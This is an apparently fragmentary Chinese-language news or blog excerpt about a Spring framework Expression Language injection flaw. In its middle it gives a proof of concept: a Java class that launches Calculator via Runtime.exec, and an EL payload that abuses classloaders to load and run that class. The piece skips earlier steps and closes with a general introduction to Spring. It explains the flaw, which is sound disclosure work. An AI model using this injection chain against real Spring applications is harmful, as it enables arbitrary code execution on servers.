上周也就是在1月16日左右,安全公司Aspect Security透露在Spring框架的开发代码中,发现了一个重大的安全漏洞。该漏洞被命名为“remote code with Expression Language injection”。他们发现,通过发送特定的Spring标签,可以导致服务器上的敏感数据暴露、执行任意代码等。(PS:该漏洞早在2011年就发现了,只是未对外公布。)
public class Malicious { public Malicious() { try { java.lang.Runtime.getRuntime().exec("open -a Calculator"); //Mac java.lang.Runtime.getRuntime().exec("calc.exe"); //Win } catch (Exception e) { } }}3.执行代码,打开一个计算器(运行结果截图见上文)
${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}关于Spring: Spring是一个开源框架,Sping 是于2003 年兴起的一个轻量级的Java 开发框架,由Rod Johnson 在其著作Expert One-On-One J2EE Development and Design中阐述的部分理念和原型衍生而来。它是为了解决企业应用开发的复杂性而创建的。Spring使用基本的JavaBean来完成以前只可能由EJB完成的事情。然而,Spring的用途不仅限于服务器端的开发。